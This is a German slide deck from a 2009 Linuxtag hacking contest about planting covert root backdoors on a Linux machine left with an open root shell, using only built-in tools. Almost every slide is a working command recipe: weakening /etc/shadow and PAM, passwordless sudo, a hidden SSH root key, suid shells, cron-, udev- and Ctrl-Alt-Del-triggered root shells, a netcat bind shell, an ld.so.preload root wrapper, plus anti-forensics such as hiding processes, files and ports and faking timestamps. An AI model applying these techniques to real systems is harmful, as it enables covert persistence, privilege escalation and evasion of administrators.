Backdoors mit Bordmitteln

Spaß am Gerät

Gotische Systemquäler

17. Oktober 2009

Wie wo was?

- Hackingcontest auf dem Linuxtag
- Zu gewinnen gibt es Ruhm, Ehre und nette Gadgets
- Gesponsert von Astaro

Situation

- Admin verlässt mit offener Rootshell seinen Arbeitsplatz
- Lichtscheue Gestalten[1] nutzen die Situation aus
- Admin merkt, dass etwas nicht stimmt

[1] Kai Lauterbach, Christian Perle, Mike Gareiss

Warum Bordmittel?

Contest-Regeln

- Meistens Default-Desktopinstallation
- Distribution ist vorher nicht bekannt
- Kein Zugang zum Internet
- Keine Datenträger außer Papier erlaubt
- Kein Reboot erlaubt

„Sicherheitsvorkehrungen“

- `.bash_history` auf `/dev/null` symlinken
- `.viminfo` auf `/dev/null` symlinken
- Alias zum Zurücksetzen von Timestamps

```
alias old='touch -r /etc/services'
```

Kein C-Compiler, was nun?

- Konfigurationsdateien ändern
- Hooks finden, die mit root-Rechten laufen
- `netcat` is your best friend
- C-Quelltexte einhacken dauert oft zu lang
  (15 Minuten sind verdammt wenig Zeit. . .)

Konfigurationsdateien ändern

- Berechtigungen „korrigieren“
  ```
  chmod 666 /etc/shadow
  chmod 666 /dev/sda5
  ...
  ```
- Tag der offenen Tür in `/etc/sudoers`
  ```
  joeuser ALL=NOPASSWD: ALL
  ```
- Auth-Methoden in `/etc/pam.d` „verschönern“

```
# vim /etc/pam.d/common-auth
- auth    requisite  pam_unix.so nullok_secure
+ auth    requisite  pam_permit.so
```

Schlüsseldienst

ssh-Key im Banner

```
# cd /root
# ssh-keygen -t dsa -N '' -f key
# mkdir -m 700 -p .ssh
# mv key /etc/banner
# mv key.pub .ssh/authorized_keys

# vim /etc/ssh/sshd_config
  PermitRootLogin yes
  Banner /etc/banner
# /etc/init.d/ssh restart
```

Setting suid for fun and profit

- suid-Editor

  ```
  chmod 4755 /usr/bin/vim
  cp /bin/nano /sbin/.nano ; chmod 4755 $_
  ```

- suid-Shell (Vorsicht bei `bash`)

```
# cp /bin/dash /var/cache/.data ; chmod 4755 $_

$ id
uid=1001(dsl) gid=50(staff) groups=50(staff)
$ /var/cache/.data
# id
uid=1001(dsl) gid=50(staff) euid=0(root) groups=50(staff)
```

Zeitbombe

- Der `cron`-Daemon startet täglich um 6:44 eine Rootshell auf `tty9`

```
# crontab -e
  44 6 * * * /bin/sh -i >/dev/tty9 2>&1 </dev/tty9 &
```

Drücken Sie Strg-Alt-Entf, um sich anzumelden

- Nur für Ubuntu: Upstart-Event für `Ctrl-Alt-Del` ändern (unauffälliger als `/etc/inittab` anzupassen)

```
# vim /etc/event.d/control-alt-delete
  exec /bin/sh -i </dev/tty11 >/dev/tty11 2>&1 &
```

Udev rulez

- Anstecken einer USB-Maus startet eine Rootshell auf `tty8` und bindet eine Rootshell an Port 2000/tcp

```
# vim /etc/udev/rules.d/60-persistent-input.rules
  SUBSYSTEMS=='usb', RUN+='/bin/lsacpi'

# vim /bin/lsacpi
 #!/bin/sh
 (bash -i >/dev/tty8 2>&1 </dev/tty8 &) &
 nc -l -p 2000 -e /bin/sh &
```

Spaß mit `/proc`

- Userspace helper, vom Kernel aufgerufen
  - Beim automatischen Modulladen
    `/proc/sys/kernel/modprobe`
  - Bei Hotplug-Events (trotz `udev` noch nutzbar)
    `/proc/sys/kernel/hotplug`
  - Bei core dumps
    `/proc/sys/kernel/core_pattern`
- Über diese `/proc`-Einträge sind die Helper-Binaries als root konfigurierbar

Spaß mit `/proc` (2)

- Wie kann ein normaler User diese Helper triggern?
- Beispiel `/proc/sys/kernel/core_pattern` (ab Kernel 2.6.24)

```
# echo "|/bin/chmod 4755 /bin/cp" \
  > /proc/sys/kernel/core_pattern

$ ulimit -c unlimited
$ sleep 2 & kill -11 $!
```

Ich drucke mich zu root

Ganz spezieller Drucker mit `cups`

```
# vim /etc/cups/cupsd.conf
  FileDevice yes
# /etc/init.d/cups restart
# lpadmin -p std -E -v /etc/passwd

$ cp /etc/passwd .
$ vim passwd
  (eigene UID durch 0 ersetzen)
$ lpr -Pstd passwd
```

Bind-Mounts sind toll!

- Prozesse verstecken

  ```
  sleep 2 & mount -n -o bind /proc/$! /proc/$PID
  ```

- Dateien verstecken

  ```
  mount -n -o bind /dev/null /file/to/hide
  ```

- Offene Ports verstecken (ab Kernel 2.6.25 nicht mehr)

  ```
  mount -n -o bind /dev/null /proc/net/tcp
  ```

Tarnen und täuschen

- Wenn `traceroute` nicht `traceroute` ist. . .
  (suid reloaded)
  ```
  cp /bin/cp /bin/traceroute
  chmod 4755 /bin/traceroute
  ```
- Verwirrung stiften
  ```
  touch /usr/lib/*
  ```
- Shell als Kernelthread tarnen

```
# cp /bin/bash /usr/bin/\[khopd\]
# ( \[khopd\] </dev/tty10 >/dev/tty10 2>&1 & )
# perl -e 'print " " x 512' >/dev/vcs10
```

Tarnen und täuschen (2)

- Es muss nicht immer `/etc` sein:
  Pfad zur Konfigurationsdatei im Binary verbiegen

```
# vim /etc/sudoers          (beliebig anpassen)
# cp -a /etc/sudoers /bin

# sed 's,/etc/sudoers,/bin/sudoers,' \
    /usr/bin/sudo > sudotmp
# mv sudotmp /usr/bin/sudo
# chmod 4755 /usr/bin/sudo
```

Never ending story

- Nur für Ubuntu: Upstart-Shell mit Respawn

```
# vim /etc/event.d/hald
  start on hithere
  respawn
  exec /bin/bash -i </dev/tty12 >/dev/tty12 2>&1

# initctl emit hithere
# rm /etc/event.d/hald
```

Bonusfolie: Quickie in C

Wrappen von `closelog()` via `ld.so.preload`

```
# vim pshell.c
  int closelog()
  {
   setresuid(0,0,0);
   if (getuid()==0 && getenv("MEROOT")) {
    system("/bin/sh");
   }
  }
# gcc -c pshell.c
# ld -shared -o /lib/libpw.so pshell.o
# echo /lib/libpw.so > /etc/ld.so.preload
# rm pshell*

$ MEROOT=1 su
```